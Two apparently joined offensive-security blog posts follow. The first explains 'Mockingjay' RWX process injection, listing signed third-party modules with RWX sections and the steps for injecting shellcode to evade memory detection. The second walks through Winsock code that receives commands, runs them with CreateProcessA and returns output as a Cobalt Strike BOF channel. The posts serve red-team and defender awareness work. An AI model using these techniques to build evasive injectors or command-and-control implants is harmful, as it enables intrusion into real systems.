A new post from Security Joes brought attention to a process injection technique previously underutilized in offensive security. The RWX injection primitive, now dubbed “Mockingjay,” offers attackers an advantage to evade unbacked executable memory detection. The core idea behind this technique, reusing RWX regions from legitimate modules, is a valuable alternative to existing memory allocation and protection primitives. The success of injection into RWX memory depends heavily on the module and memory region selected by the operator. RWX injection is similar to module stomping but may require novel detection techniques in optimal scenarios. Packed binaries are the most common targets for this technique. This blog offers guidance for selecting the appropriate targets, along with an enumeration script and a functional injection template. Previous Work To be clear, I did not develop this technique or even popularize it. I had success with RWX injection in the past, and now that it has become popular again, a post seemed justified. The initial idea for RWX injection appears to have originated from Unknown Cheats. A 2018 post from namazo describes an anticheat bypass to avoid detections that rely on pointers to unbacked memory. A working injector was uploaded to GitHub a year later. Most recently, Security Joes uploaded their blog post on “Mockingjay,” which generated interest in the security community. RWX Injection Process injection requires three to four primitives: 1. Allocate or find memory for code. 2. Write code to the memory. 3. Change the memory permissions (may not be required if already executable). 4. Execute the code. RWX injection fulfills steps one and three. You will still need to write code to the RWX region and execute it. Using a module with RWX memory is beneficial because an executable on disk backs it. Module stomping also takes advantage of this attribute, but it’s more likely vendors can validate the data of memory that isn’t meant to be writeable. To prevent this technique, some anticheat vendors apparently blocked all DLLs with RWX memory regions and made exceptions as necessary. This is an excellent solution for protecting a single application, but it likely isn’t an option for security vendors. Discovering Module Targets Potential targets of this attack are PE files with at least one section marked RWX by its characteristic flags in the PE header. – IMAGE_SCN_MEM_EXECUTE – 0x20000000 – IMAGE_SCN_MEM_READ – 0x40000000 – IMAGE_SCN_MEM_WRITE – 0x80000000 We can search for this manually with a tool such as PE-bear. The “Characteristics” column of the “Section Hdrs” tab conveniently lists the value for each section and translates it to the familiar “RWX” format. The manual process is slow, but we can automate it using the pefile Python package. This programmatic method can also check whether the module is signed and retrieve the region and raw data sizes. We uploaded a Python script to GitHub with these capabilities. The best option would be a signed DLL with enough space to hold shellcode and only a minimal amount of raw data. However, any PE file with an RWX memory region may work. These criteria only reduce the likelihood of detection or instability and improve operational usefulness. It’s important to consider the effects of loading a module to ensure process safety. For instance, if a target DLL is injected, its DllMain function may run and impact the host process. No affected PE files were found in C:\Windows\System32 on Windows 11, but we identified signed third-party modules that met the criteria. – ISSetup.dll (.rsrc) – 135KB – PEbiosinterface32.dll (UPX0) – 4.3MB – libnxusb.dll (.textbss) – 1MB – GoTo Opener.exe (UPX0) – 839KB – Spotify.exe (.data) – 6.8MB PEbiosinterface32.dll is similar to the example in namazo’s blog post. Any PE file packed with UPX (and likely any other packer) is a potential target for the technique. POC You can find our local and remote injection templates on GitHub. RWX injection is straightforward once you have identified a suitable target. In either local or remote injection, the process is as follows. 1. Load the identified module into a target process. 2. Calculate the virtual address of the RWX section using the module base address and RVA of the target section. 3. Copy shellcode to the RWX section. 4. Initiate execution of the shellcode. As you can tell, the methodology has room for substantial variation. Our templates demonstrate a simple method for testing, but the primitives used for module load, memory write, and execution could easily be replaced. The code shows the RWX injection technique but likely won’t bypass any security products without modifying the other primitives. Closing Thoughts Although not a new concept, RWX injection has been overlooked by security professionals until recently. Awareness of public techniques is crucial to ensure security vendors effectively address them. While this memory allocation and protection primitive may be difficult to detect, there are still opportunities for defenders to identify execution methods or post-exploitation activity. Credits – Apparent origin of RWX injection: [Release] Some internal detection vectors bypass (unknowncheats.me) – Recent blog that brought attention to the technique: Process Mockingjay: Echoing RWX In Userland To Achieve Code Execution (securityjoes.com)

Developing Winsock Communication in Malware

Winsock is an API (Application Programming Interface) that provides a standardized interface for network programming in the Windows operating system. It enables applications to establish network connections and send and receive data over various protocols such as TCP/IP, UDP, and more. The flexibility and wide adoption of Winsock makes it an attractive choice for malware authors seeking to establish covert communication channels. In this article, we will explore a sample code that demonstrates a basic implementation of end-to-end communication using the Winsock protocol. As the code is ported to BOF, it replaces the default Named Pipes that Cobalt Strike uses with Winsock. Initializing the Winsock server // Initialize WinsockWSAStartup(MAKEWORD(2, 2), &wsaData) != 0; This code initializes the Winsock library by calling the WSAStartup function. These lines set up the server’s address and port information and bind the socket to this address. The code assigns the address family (AF_INET for IPv4) to serverAddress.sin_family. INADDR_ANY is used to bind the socket to all available network interfaces on the server machine, allowing it to accept connections from any IP address. The port number is set to SERVER_PORT using serverAddress.sin_port. The htons function is used to convert the port number to network byte order. The bind function is then called to associate the socket with the server address and port. It takes the socket descriptor (serverSocket), a pointer to the server address structure ((struct sockaddr*)&serverAddress), and the size of the server address structure (sizeof(serverAddress)). bind(serverSocket, (struct sockaddr*)&serverAddress, sizeof(serverAddress); // Listen for incoming connectionslisten(serverSocket, SOMAXCONN); The listen function puts the server socket into a passive listening state. The serverSocket parameter is the socket descriptor that was previously created and bound. SOMAXCONN represents the maximum number of clients that can wait to be accepted by the server. Retrieving the command The code enters a while loop that continues indefinitely until the entire message is received or an error occurs. The recv function is called to receive data from the client socket. It reads data into the buffer starting from the current position buffer + totalBytesRead. It specifies the maximum number of bytes to read as MAX_BUFFER_SIZE – totalBytesRead. The purpose of this code is to read a message sent by the client in chunks until the entire message is received. It allows for the reception of messages that may be larger than the buffer size (MAX_BUFFER_SIZE) by reading the data in multiple iterations. Executing commands The CreateProcessA function is used to create a new process and allows you to specify the command-line parameters for the process. The first parameter NULL specifies that the new process will inherit the environment variables of the calling process. The second parameter (LPSTR)command specifies the command-line string that determines the executable and its arguments. Once executed, ReadFile is used to parse the output at the end of the pipe. Sending the output back This line extracts the socket descriptor from the clientSocketPtr pointer and assigns it to the variable clientSocket. The clientSocketPtr is a void pointer that points to the memory location where the socket descriptor is stored. By using type casting (SOCKET*), the code interprets the pointer value as a pointer to a SOCKET data type and dereferences it to obtain the actual socket descriptor value. This socket descriptor represents the connection between the server and the client. The == SOCKET_ERROR part is a comparison that checks if the return value of the send function is equal to SOCKET_ERROR. This comparison is commonly used to check if the send operation encountered an error. If the comparison is true, it indicates that there was an error in sending the data. Network analysis In our public repository we were able to replace the default Named Pipe communication that Cobalt Strike uses with Winsocket. After loading the CNA script, using “socky” command and the first argument, which is the command to be executed, we are able to send and receive the desired output via Winsocket: For each command sent, it will create 11 packets for the end-to-end communication. In this case we filtered the results to display only the TCP Port 8888 (the port we are using for the communication): Analyzing the packets easily leads to the commands and the results (as no encryption was used). Conclusion In conclusion, this article has provided an overview of Winsock, an API that facilitates network programming in the Windows operating system. Throughout the article, we have examined a sample code that demonstrates a basic implementation of end-to-end communication using the Winsock protocol. By porting the code to BOF (Beacon Object Files), it replaces the default Named Pipes utilized by Cobalt Strike with Winsock. The whole project can be found in our repository.